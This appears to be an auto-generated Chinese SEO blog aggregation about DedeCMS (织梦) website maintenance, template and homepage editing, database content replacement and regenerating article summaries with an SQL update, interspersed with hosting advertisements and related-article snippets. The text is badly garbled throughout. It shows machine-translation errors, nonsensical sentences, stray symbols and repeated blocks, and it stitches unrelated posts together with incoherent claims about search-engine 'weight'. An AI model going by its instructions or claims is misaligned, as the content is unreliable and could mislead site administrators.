网站维护的另一个非常重要的方面是网站安全性。网络安全一直是热门话题,尤其是金融、电商等网站。网络安全是重中之重。现在很多人都可以轻松窃取 网站 数据,因此 网站 安全设置起着至关重要的作用。你站起来给别人做婚纱一定很不愉快。 网站维护期间一定要做好网站的安全防护。
网站设计和用户体验真的很重要。随着时代的变化,人们对网站功能和网站设计的要求也在变化。 网站维护就是根据当前时代的要求不断优化网站。满足客户的审美要求,尽可能适应客户的使用习惯。网站结构合理,将用户感兴趣的精彩内容推荐到首页;
网站维护我们还需要对网站实时数据进行统计分析。提供网站收录查询和网站排名、蜘蛛变化权重值等多种功能查询。这提供了 SEO 中数据变化的全面视图。
收录排名详情查询抽取快速查询导出网站收录快照链接和关键词排名链接收录标题收录时间等查询关键词排名,根据关键词提取收录链接,查询peer的网站收录链接和peer的网站关键词排名数据支持导出。
网站映射对于网站的维护也很重要。我们可以抓取网站链接,快速生成XML、TXT、HTML格式的网站地图,满足百度、谷歌等搜索引擎的爬虫需求。方便搜索引擎蜘蛛爬取网站页面,通过站点地图获取站点信息,在站点上添加文章的收录。快速提取整个站点的网站链接,检查网站链接是否正常,网页是否为收录。
根据网站产品的浏览情况,网站内容和产品的顺序和呈现会增加或减少。及时改善网站中营销思维的不专业和欠缺,给网站的浏览用户留下专业的印象。
网站维护是网站建设中非常重要的一环,关系到我们网站的稳定有效运行。今天关于网站维护的讲解就到这里,下期分享更多SEO相关知识和丰富的SEO实战经验。
织梦系统网站内容更改(ASP.NET简单的三层架构开发,利于网站整体优化)
网站优化 • 优采云 发表了文章 • 0 个评论 • 70 次浏览 • 2022-04-19 09:09
<p>程序后台路径为/mxzadmin/,后台登录账号密码为:mxiaozhen 本程序版权归郑路伟()所有,不得以任何方式恶意传播,谢谢合作,违者必究被追究责任。如有问题请联系作者,站长导航QQ交流群:1292930512.3版程序演示地址:[V2.3]更新日志于2013-7-27添加< @1、百度联盟等联盟广告位优化了首页UI部分;2、可以通过配置文件修改静态页面的生成路径,实现自定义路径功能,操作更全面;3、 修复部分虚拟主机点击后台登录按钮无响应的bug;4、修复部分浏览器点击后台登录按钮无响应的BUG;5、搜索框彻底改版,只保留百度搜索。优化用户体验,简化操作。[V2.1]更新说明 查看全部
织梦系统网站内容更改(ASP.NET简单的三层架构开发,利于网站整体优化)
<p>程序后台路径为/mxzadmin/,后台登录账号密码为:mxiaozhen 本程序版权归郑路伟()所有,不得以任何方式恶意传播,谢谢合作,违者必究被追究责任。如有问题请联系作者,站长导航QQ交流群:1292930512.3版程序演示地址:[V2.3]更新日志于2013-7-27添加< @1、百度联盟等联盟广告位优化了首页UI部分;2、可以通过配置文件修改静态页面的生成路径,实现自定义路径功能,操作更全面;3、 修复部分虚拟主机点击后台登录按钮无响应的bug;4、修复部分浏览器点击后台登录按钮无响应的BUG;5、搜索框彻底改版,只保留百度搜索。优化用户体验,简化操作。[V2.1]更新说明
织梦系统网站内容更改( 一下如何在免备案虚拟主机环境中使用数据库内容替换功能)
网站优化 • 优采云 发表了文章 • 0 个评论 • 114 次浏览 • 2022-04-17 19:24
一下如何在免备案虚拟主机环境中使用数据库内容替换功能)
Dedecms后台功能数据库内容替换介绍
很多时候我们需要修改网站中的一些信息内容,比如文章标题和内容等,但是如果在dedecms程序中修改,就比较麻烦了,但是如果是直接从数据库的内容中进行修改的话,可以给我们带来很多的方便。下面高速主机编辑器将向大家介绍如何在无记录的虚拟主机环境中使用数据库内容替换功能。首先我们登录织梦dedecms程序的网站后台,点击菜单栏导航中的“核心”——“批量维护”——“数据库内容替换”进入数据库内容替换页面。数据库内容替换的操作步骤如图1、2所示:
首先,在数据表中选择要修改的数据表。选择后,数据表中的字段会出现在数据表下方。继续选择要更改的字段信息,并设置替换方式。有两种替换方法。一种是“Normal Replacement”,一种是“Regular Expression”,如果选择正则模式,则必须指定主键字段。然后设置“替换内容”和“替换为”的内容。如果“更换条件”一栏留空,则表示全部更换。最后输入安全确认码,点击“开始替换数据”按钮进行替换。最后需要提醒的是,替换数据库内容属于敏感操作,风险较高,因此建议您在操作前做好数据备份。高速主机提供365天*24小时全天候、实时在线、零等待的售后技术支持。我们会尽力为您免费处理您在使用高速主机过程中遇到的所有问题!如果您是高速主机用户,可以使用企业QQ【417333562】、售后QQ【网站底部有】、旺旺【旺奇科技】、78879749免费电话、后台提交工单联系高速主机客服!如果您不是我们的客户也没有问题,点击页面最右侧企业QQ在线咨询图标联系我们购买,我们将为您提供免费的无缝搬家服务,让您享受网站@ > 零访问延迟迁移到高速托管服务!高速主机相关文章推荐阅读: 查看全部
织梦系统网站内容更改(
一下如何在免备案虚拟主机环境中使用数据库内容替换功能)
Dedecms后台功能数据库内容替换介绍
很多时候我们需要修改网站中的一些信息内容,比如文章标题和内容等,但是如果在dedecms程序中修改,就比较麻烦了,但是如果是直接从数据库的内容中进行修改的话,可以给我们带来很多的方便。下面高速主机编辑器将向大家介绍如何在无记录的虚拟主机环境中使用数据库内容替换功能。首先我们登录织梦dedecms程序的网站后台,点击菜单栏导航中的“核心”——“批量维护”——“数据库内容替换”进入数据库内容替换页面。数据库内容替换的操作步骤如图1、2所示:


首先,在数据表中选择要修改的数据表。选择后,数据表中的字段会出现在数据表下方。继续选择要更改的字段信息,并设置替换方式。有两种替换方法。一种是“Normal Replacement”,一种是“Regular Expression”,如果选择正则模式,则必须指定主键字段。然后设置“替换内容”和“替换为”的内容。如果“更换条件”一栏留空,则表示全部更换。最后输入安全确认码,点击“开始替换数据”按钮进行替换。最后需要提醒的是,替换数据库内容属于敏感操作,风险较高,因此建议您在操作前做好数据备份。高速主机提供365天*24小时全天候、实时在线、零等待的售后技术支持。我们会尽力为您免费处理您在使用高速主机过程中遇到的所有问题!如果您是高速主机用户,可以使用企业QQ【417333562】、售后QQ【网站底部有】、旺旺【旺奇科技】、78879749免费电话、后台提交工单联系高速主机客服!如果您不是我们的客户也没有问题,点击页面最右侧企业QQ在线咨询图标联系我们购买,我们将为您提供免费的无缝搬家服务,让您享受网站@ > 零访问延迟迁移到高速托管服务!高速主机相关文章推荐阅读:
织梦系统网站内容更改(我网站是织梦dede程序,新更改了网站首页栏)
网站优化 • 优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-04-16 21:25
先进入后台,然后找到模板,选择默认模板管理,然后会看到很多文件,找到index.htm 这是首页,点击,就是html代码,可以修改
你可以看看后台的设置。它应该是那里获得的最新图片。如果你不想改变它,你应该在 网站 上重新设计它
该主页或内容页面的内容必须在模板中进行修改。如果你在后台找,估计你不会html和css;如果要修改图片,需要更改模板中的调用,具体步骤没有法律说的;
织梦如何修改模板中首页的内容?- :先进入后台,然后找到模板并选择默认模板管理,然后你会看到很多文件,找到index.html。, 你可以修改
织梦网站如何在后台修改首页内容?- :如果删除,则无法恢复。您可以在客户案例栏后添加一个子类,然后添加一个二级模块。不明白继续问我
如何更改首页模板织梦cms-:由于模板制作者的制作习惯不同,dedecms的模板安装方法也有很大不同,但主要步骤是: 1.Upload 上传模板文件到网站的模板目录templets;2.主要设置在系统后台的系统设置里面,有一个“模板默认样式”的选项,填写你的模板目录的名称;3.修改一般需要对模板中的调用进行一些修改,比如typeid,修改集中在网站首页;主页和栏目以及内容页面的html
织梦首页两个字怎么修改或去掉-:通过修改模板实现,index.htm爱网论坛-打造中国最好的计算机知识论坛
如何更改网站的标题我网站是一个织梦dede程序,而网站首页栏目的目标已经新改了:网页的title大致可以分为以下两种:1.通过document对象访问titlevar title = document.title;2.通过DOM访问titlevar title = ...
织梦如何在系统中修改主页-:1、织梦系统后台有模板管理,找到index.htm。2、使用FTP修改后台模板,进入www根目录下修改,在templets中找到模板调用的地址,找到index.htm,网站模板实现前端调用3、使用空格服务器登录后台,进入模板中网站的根目录并找到模板调用的地址修改,找到index.htm,网站模板实现前端调用希望能帮到你,希望采纳。
织梦如何通过模板修改首页关键词 - : 然后可以直接修改模板index.htm的关键词地方!第一个是调用关键词,后一个是调用网站描述!这将自动调用修改后的系统参数 关键词!
如何修改织梦制作的网站首页模板-:\DedeAMPZ\WebRoot\Default\templets\default,找到你安装的根目录,然后按照我给你的路径找index .htm ,这是主页。如果你熟悉 HTML 和 CSS,打开它应该就明白了。任何带dede的都表示是织梦的调用标签,可以忽略
织梦主页模板index.htm-上如何删除修改主页图片:有一个界面图片位置可以更改图片,可以直接在里面替换,不过比较麻烦,搜外6 系统可以直接替换掉....
织梦如何编辑内容管理系统首页文字- :首页文字在模板里~直接到模板里找到index.htm 查看全部
织梦系统网站内容更改(我网站是织梦dede程序,新更改了网站首页栏)
先进入后台,然后找到模板,选择默认模板管理,然后会看到很多文件,找到index.htm 这是首页,点击,就是html代码,可以修改
你可以看看后台的设置。它应该是那里获得的最新图片。如果你不想改变它,你应该在 网站 上重新设计它
该主页或内容页面的内容必须在模板中进行修改。如果你在后台找,估计你不会html和css;如果要修改图片,需要更改模板中的调用,具体步骤没有法律说的;
织梦如何修改模板中首页的内容?- :先进入后台,然后找到模板并选择默认模板管理,然后你会看到很多文件,找到index.html。, 你可以修改
织梦网站如何在后台修改首页内容?- :如果删除,则无法恢复。您可以在客户案例栏后添加一个子类,然后添加一个二级模块。不明白继续问我
如何更改首页模板织梦cms-:由于模板制作者的制作习惯不同,dedecms的模板安装方法也有很大不同,但主要步骤是: 1.Upload 上传模板文件到网站的模板目录templets;2.主要设置在系统后台的系统设置里面,有一个“模板默认样式”的选项,填写你的模板目录的名称;3.修改一般需要对模板中的调用进行一些修改,比如typeid,修改集中在网站首页;主页和栏目以及内容页面的html
织梦首页两个字怎么修改或去掉-:通过修改模板实现,index.htm爱网论坛-打造中国最好的计算机知识论坛
如何更改网站的标题我网站是一个织梦dede程序,而网站首页栏目的目标已经新改了:网页的title大致可以分为以下两种:1.通过document对象访问titlevar title = document.title;2.通过DOM访问titlevar title = ...
织梦如何在系统中修改主页-:1、织梦系统后台有模板管理,找到index.htm。2、使用FTP修改后台模板,进入www根目录下修改,在templets中找到模板调用的地址,找到index.htm,网站模板实现前端调用3、使用空格服务器登录后台,进入模板中网站的根目录并找到模板调用的地址修改,找到index.htm,网站模板实现前端调用希望能帮到你,希望采纳。
织梦如何通过模板修改首页关键词 - : 然后可以直接修改模板index.htm的关键词地方!第一个是调用关键词,后一个是调用网站描述!这将自动调用修改后的系统参数 关键词!
如何修改织梦制作的网站首页模板-:\DedeAMPZ\WebRoot\Default\templets\default,找到你安装的根目录,然后按照我给你的路径找index .htm ,这是主页。如果你熟悉 HTML 和 CSS,打开它应该就明白了。任何带dede的都表示是织梦的调用标签,可以忽略
织梦主页模板index.htm-上如何删除修改主页图片:有一个界面图片位置可以更改图片,可以直接在里面替换,不过比较麻烦,搜外6 系统可以直接替换掉....
织梦如何编辑内容管理系统首页文字- :首页文字在模板里~直接到模板里找到index.htm
织梦系统网站内容更改(织梦系统网站内容更改到底会不会影响网站权重呢?)
网站优化 • 优采云 发表了文章 • 0 个评论 • 70 次浏览 • 2022-04-15 21:03
织梦系统网站内容更改到底会不会影响网站权重呢?这个问题目前还没有完全定论,之前在下面说过不管是网站哪个版本,有些都会影响权重,像百度权重不能改,360权重改完也会有影响。还有些网站需要添加数据自动生成pv和uv的,权重都会有所折扣,影响不是很大。但是最近发现有人通过在原来原站ceo大巴.原一线,结合不一样的用户属性平台了装修系统.平台很低调的一个站,2013年注册的,就一直呆在那里,但是也没做什么推广,10个链接左右,每个链接用户关注热度还算不错,后来觉得就更新些产品相关视频就好,过了1年就更新了几个大盘下载类的每天还有活跃用户人气热度还不错。
可能有人会说,这是从关注热度判断的,我哪有那么多用户关注你啊!其实我也只是和去了解了行业,装修行业还是有很多不同,我把我个人理解的说下吧,一家比较大的平台不做评论,主要想说说如果改了.不只影响查询,可能搜索和列表就变了,那还有意义吗?改过的不仅仅是关注热度,每个用户的站长属性,浏览习惯.关注内容频道频率.喜欢的年龄段都会变,你每个变化对网站都是影响,关键影响如何能排上首页不被系统误判,这还是关键,关键排在首页的页面权重也是有折扣的,不同网站的站长属性不同,当然每个用户的喜好不同,有些不需要用户关注的内容你添加上可能就会直接过了关注?系统就被判定你的网站多余了?第二点:更改内容影响搜索引擎蜘蛛抓取从没接触过爬虫的人了解,蜘蛛抓取获取信息主要还是通过搜索引擎吧,如果说你内容做的太全了,不可能被蜘蛛都爬下来吧,对于一些平台点击量不大,这个一些非需要了解的内容内容都可以加上.还是那句话,需要关注的内容不是搜索引擎蜘蛛目标信息.第三点:关注内容的人也是不断变化,那就是排名权重不稳定.不断变化,就会有排名波动,每个站长都有自己的一个看法,例如:2013年排名1-3排名顶,现在最新的排名3-5.或者说早期你竞争最大的位置没了.全都下来了,用户很难去找到你,或者你排名发生了变化用户反馈用都找不到你。
最后总结,一个网站一定是你想要的.和内容的干扰性有关,不管是用户属性,还是产品,内容是不会太多被影响,而影响你网站权重的是关注度.(例如,a更换了头像或者内容不更新,别人用户查询不出来,如果你的关注度和产品极具竞争力,搜索引擎是会收录的)站长更改关注点,也会影响到权重排名的,不过会影响但不大,太阳底下没有新鲜事,都是已经发生的东西,只是可能时间和原因不同,还有就是没改好的一定会被后台查出来,影响排名就要不定。 查看全部
织梦系统网站内容更改(织梦系统网站内容更改到底会不会影响网站权重呢?)
织梦系统网站内容更改到底会不会影响网站权重呢?这个问题目前还没有完全定论,之前在下面说过不管是网站哪个版本,有些都会影响权重,像百度权重不能改,360权重改完也会有影响。还有些网站需要添加数据自动生成pv和uv的,权重都会有所折扣,影响不是很大。但是最近发现有人通过在原来原站ceo大巴.原一线,结合不一样的用户属性平台了装修系统.平台很低调的一个站,2013年注册的,就一直呆在那里,但是也没做什么推广,10个链接左右,每个链接用户关注热度还算不错,后来觉得就更新些产品相关视频就好,过了1年就更新了几个大盘下载类的每天还有活跃用户人气热度还不错。
可能有人会说,这是从关注热度判断的,我哪有那么多用户关注你啊!其实我也只是和去了解了行业,装修行业还是有很多不同,我把我个人理解的说下吧,一家比较大的平台不做评论,主要想说说如果改了.不只影响查询,可能搜索和列表就变了,那还有意义吗?改过的不仅仅是关注热度,每个用户的站长属性,浏览习惯.关注内容频道频率.喜欢的年龄段都会变,你每个变化对网站都是影响,关键影响如何能排上首页不被系统误判,这还是关键,关键排在首页的页面权重也是有折扣的,不同网站的站长属性不同,当然每个用户的喜好不同,有些不需要用户关注的内容你添加上可能就会直接过了关注?系统就被判定你的网站多余了?第二点:更改内容影响搜索引擎蜘蛛抓取从没接触过爬虫的人了解,蜘蛛抓取获取信息主要还是通过搜索引擎吧,如果说你内容做的太全了,不可能被蜘蛛都爬下来吧,对于一些平台点击量不大,这个一些非需要了解的内容内容都可以加上.还是那句话,需要关注的内容不是搜索引擎蜘蛛目标信息.第三点:关注内容的人也是不断变化,那就是排名权重不稳定.不断变化,就会有排名波动,每个站长都有自己的一个看法,例如:2013年排名1-3排名顶,现在最新的排名3-5.或者说早期你竞争最大的位置没了.全都下来了,用户很难去找到你,或者你排名发生了变化用户反馈用都找不到你。
最后总结,一个网站一定是你想要的.和内容的干扰性有关,不管是用户属性,还是产品,内容是不会太多被影响,而影响你网站权重的是关注度.(例如,a更换了头像或者内容不更新,别人用户查询不出来,如果你的关注度和产品极具竞争力,搜索引擎是会收录的)站长更改关注点,也会影响到权重排名的,不过会影响但不大,太阳底下没有新鲜事,都是已经发生的东西,只是可能时间和原因不同,还有就是没改好的一定会被后台查出来,影响排名就要不定。
织梦系统网站内容更改(织梦CMS密码重置工具压缩包radminpa解决织梦dedecms后台提示错误 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-04-14 22:11
)
相关话题
织梦系统解决后台“DEDEcms安全提示”的方法
2013 年 7 月 3 日 14:23:00
织梦后台系统是目前使用最多的网站cms,很多SEOer都操作过织梦后台,那么细心的网络营销人员会发现,在后台首页有一个版块叫做《DEDEcms安全提示》,里面写了3条提示(如图1):
解决织梦(DEDEcms)后台无法上传图片的问题
2012 年 3 月 8 日 15:23:00
织梦(DEDEcms)后台无法上传上传的文件,显示上传失败,郁闷。织梦 或其他程序无法上传图片的可能原因只有几个。我们首先分析上传失败的可能性,排除和解决背景图片无法上传的问题。
Wordpress 比较 织梦 和 Empire,网站 使用哪个后台程序?
2015 年 10 月 10 日 15:05:00
我应该使用什么后台程序来构建 网站?这个问题也是小编入行之初非常纠结的一个问题。在构建网站的道路上,小编首先使用了织梦(DEDEcms)、帝制cms等国产cms系统。
PHP 代码调用 织梦Dedecms 的 文章
2011 年 13 月 6 日 15:56:00
有时在使用织梦Dedecms时,我们可能需要在非织梦的php代码中获取最新的文章,如果是这样呢?大家可以参考下面的代码,根据自己的需要进行修改。
织梦后台密码重置 radminpass.php
2018 年 2 月 3 日 01:10:01
因为网站太多了,而且我也习惯让firefox浏览器记录登录密码,有一天突然发现我dede的管理员密码cms网站无法登录在。我试了几个常见的密码都显示不正确。然后,根据网上介绍的几种方法,包括SQL查询语句,都无法找回密码。找到织梦cms的后台管理员密码重置工具,上传文件。,按照操作执行两步,解决令人头疼的忘记密码问题。工具使用教程下载织梦cms密码重置工具压缩包radminpa
解决织梦dedecmsAdministrator后台提示404错误
24/4/202013:49:13
昨天刚帮一个用户迁移了一个dedev5.7sq1集成discuzx2网站。迁移后,所有测试都完全正常。今天用户来找我问我:“怎么回事?登录后出现问题。,可以登录后台,有错误提示,notfound
织梦DEDEcms安装插件后前后台都是空白或者500错误
22/7/202115:30:51
有用户使用我们空间安装的dedecms,因为后台安装了wpe手机浏览器插件,导致网站前台一片空白。然后用户删除了插件,不幸的是后端也是空白的。联系我们寻求帮助后,首先检查
织梦系统标签代码LOOP标签介绍
28/9/202018:02:16
本站建站服务器文章主要介绍织梦系统标签代码LOOP标签的介绍。文中的介绍很详细,有一定的参考价值。有兴趣的朋友一定要读一读!织梦系统
织梦如何将模板应用到 PHPcms?
20/7/202012:04:36
织梦如何将模板应用到 PHPcms?将织梦模板应用到PHPcms的方法: 0 首先将织梦模板下载到本地;然后提取模板中的JS、CSS、图片等资源文件;然后创建一个新的 PHP cms模板并将提取的文件放入
dedecms自动生成标签的方法是什么
24/11/202018:04:22
文章后台:由于织梦dedecms无法自动生成标签,所以系统后台TAG标签管理生成的标签实际上是复制关键字,然后插入到标签中。所以如果我们想自动生成一个标签,我们需要将关键字的值赋给这个标签
dedecms织梦TAG标签如何显示单个标签中有多少篇文章文章
15/9/202015:02:18
本站建站服务器文章主要介绍dedecms织梦TAG标签如何显示单个标签文章有多少篇文章,有一定的参考价值,有需要的朋友需要的可以参考。希望大家阅读
织梦网站构造栏自动添加nofollow方法?
22/11/2012 17:42:00
在网站的构建和优化中,列的设置和权重问题一直是SEOER的痛点。下面我来说说如何让织梦cms的背景更加灵动地添加和修改栏目的rel=”nofollow”属性!
Dede的一些SEO优化技巧cms(织梦)网站
2011 年 9 月 20 日 16:18:00
dedecms(织梦)网站、网站静态设置、网站 URL路径优化、文章标签设置的一些SEO优化技巧,以及解决栏目页面标题重复的问题。
织梦dedecms体验
2018 年 4 月 3 日 01:08:41
<p>二级域名配置1、只有顶级栏目才能使用二级域名,顶级栏目存放目录最好放在cms 查看全部
织梦系统网站内容更改(织梦CMS密码重置工具压缩包radminpa解决织梦dedecms后台提示错误
)
相关话题
织梦系统解决后台“DEDEcms安全提示”的方法
2013 年 7 月 3 日 14:23:00
织梦后台系统是目前使用最多的网站cms,很多SEOer都操作过织梦后台,那么细心的网络营销人员会发现,在后台首页有一个版块叫做《DEDEcms安全提示》,里面写了3条提示(如图1):

解决织梦(DEDEcms)后台无法上传图片的问题
2012 年 3 月 8 日 15:23:00
织梦(DEDEcms)后台无法上传上传的文件,显示上传失败,郁闷。织梦 或其他程序无法上传图片的可能原因只有几个。我们首先分析上传失败的可能性,排除和解决背景图片无法上传的问题。

Wordpress 比较 织梦 和 Empire,网站 使用哪个后台程序?
2015 年 10 月 10 日 15:05:00
我应该使用什么后台程序来构建 网站?这个问题也是小编入行之初非常纠结的一个问题。在构建网站的道路上,小编首先使用了织梦(DEDEcms)、帝制cms等国产cms系统。

PHP 代码调用 织梦Dedecms 的 文章
2011 年 13 月 6 日 15:56:00
有时在使用织梦Dedecms时,我们可能需要在非织梦的php代码中获取最新的文章,如果是这样呢?大家可以参考下面的代码,根据自己的需要进行修改。

织梦后台密码重置 radminpass.php
2018 年 2 月 3 日 01:10:01
因为网站太多了,而且我也习惯让firefox浏览器记录登录密码,有一天突然发现我dede的管理员密码cms网站无法登录在。我试了几个常见的密码都显示不正确。然后,根据网上介绍的几种方法,包括SQL查询语句,都无法找回密码。找到织梦cms的后台管理员密码重置工具,上传文件。,按照操作执行两步,解决令人头疼的忘记密码问题。工具使用教程下载织梦cms密码重置工具压缩包radminpa

解决织梦dedecmsAdministrator后台提示404错误
24/4/202013:49:13
昨天刚帮一个用户迁移了一个dedev5.7sq1集成discuzx2网站。迁移后,所有测试都完全正常。今天用户来找我问我:“怎么回事?登录后出现问题。,可以登录后台,有错误提示,notfound

织梦DEDEcms安装插件后前后台都是空白或者500错误
22/7/202115:30:51
有用户使用我们空间安装的dedecms,因为后台安装了wpe手机浏览器插件,导致网站前台一片空白。然后用户删除了插件,不幸的是后端也是空白的。联系我们寻求帮助后,首先检查

织梦系统标签代码LOOP标签介绍
28/9/202018:02:16
本站建站服务器文章主要介绍织梦系统标签代码LOOP标签的介绍。文中的介绍很详细,有一定的参考价值。有兴趣的朋友一定要读一读!织梦系统

织梦如何将模板应用到 PHPcms?
20/7/202012:04:36
织梦如何将模板应用到 PHPcms?将织梦模板应用到PHPcms的方法: 0 首先将织梦模板下载到本地;然后提取模板中的JS、CSS、图片等资源文件;然后创建一个新的 PHP cms模板并将提取的文件放入

dedecms自动生成标签的方法是什么
24/11/202018:04:22
文章后台:由于织梦dedecms无法自动生成标签,所以系统后台TAG标签管理生成的标签实际上是复制关键字,然后插入到标签中。所以如果我们想自动生成一个标签,我们需要将关键字的值赋给这个标签

dedecms织梦TAG标签如何显示单个标签中有多少篇文章文章
15/9/202015:02:18
本站建站服务器文章主要介绍dedecms织梦TAG标签如何显示单个标签文章有多少篇文章,有一定的参考价值,有需要的朋友需要的可以参考。希望大家阅读

织梦网站构造栏自动添加nofollow方法?
22/11/2012 17:42:00
在网站的构建和优化中,列的设置和权重问题一直是SEOER的痛点。下面我来说说如何让织梦cms的背景更加灵动地添加和修改栏目的rel=”nofollow”属性!

Dede的一些SEO优化技巧cms(织梦)网站
2011 年 9 月 20 日 16:18:00
dedecms(织梦)网站、网站静态设置、网站 URL路径优化、文章标签设置的一些SEO优化技巧,以及解决栏目页面标题重复的问题。

织梦dedecms体验
2018 年 4 月 3 日 01:08:41
<p>二级域名配置1、只有顶级栏目才能使用二级域名,顶级栏目存放目录最好放在cms
织梦系统网站内容更改(修改文章内容列表页摘要描述不更新的问题(图))
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-04-14 11:17
如果你的网站是用织梦构建的,那么如果你有内容列表页摘要描述没有更新的问题,可以参考这篇文章。
当我们发现文章的上一段有错误时,我们会立即进行修改,但是修改的时候总会出现一些问题。例如,列列表的文章摘要描述不会随着文章内容的更新而自动更新。
因为织梦(dede)在添加文章的时候会自动生成文章摘要,所以如果重新修改文章的内容,主要是修改文章的内容上一段 文章 之后,不再修改摘要。
尤其是之前对文章的描述一下子修改了很多,发现不更新的话,肯定会头皮发麻。博主遇到过这样的问题。当然,遇到这样的问题,我们可以直接在数据库中修改,使用sql语句。
我们只需要三个步骤:
第一步是在 SQL 命令行工具中运行以下语句:
更新 dede_archives 设置描述=“”;
第二步,重新生成文章摘要
转到“核心”->“批量维护”->“自动摘要|分页”以批量重新生成文章摘要。
第三步,一键更新网站
进入“生成”-->“自动任务”-->“一键更新网站”全部更新。
总结:
下面简单解释一下这三个步骤:第一步是通过sql语句清除描述的内容,第二步是重新生成内容摘要描述,第三步是更新整个站点。至此,您的内容列表页面摘要描述已更新。 查看全部
织梦系统网站内容更改(修改文章内容列表页摘要描述不更新的问题(图))
如果你的网站是用织梦构建的,那么如果你有内容列表页摘要描述没有更新的问题,可以参考这篇文章。

当我们发现文章的上一段有错误时,我们会立即进行修改,但是修改的时候总会出现一些问题。例如,列列表的文章摘要描述不会随着文章内容的更新而自动更新。
因为织梦(dede)在添加文章的时候会自动生成文章摘要,所以如果重新修改文章的内容,主要是修改文章的内容上一段 文章 之后,不再修改摘要。
尤其是之前对文章的描述一下子修改了很多,发现不更新的话,肯定会头皮发麻。博主遇到过这样的问题。当然,遇到这样的问题,我们可以直接在数据库中修改,使用sql语句。
我们只需要三个步骤:
第一步是在 SQL 命令行工具中运行以下语句:
更新 dede_archives 设置描述=“”;
第二步,重新生成文章摘要
转到“核心”->“批量维护”->“自动摘要|分页”以批量重新生成文章摘要。
第三步,一键更新网站
进入“生成”-->“自动任务”-->“一键更新网站”全部更新。
总结:
下面简单解释一下这三个步骤:第一步是通过sql语句清除描述的内容,第二步是重新生成内容摘要描述,第三步是更新整个站点。至此,您的内容列表页面摘要描述已更新。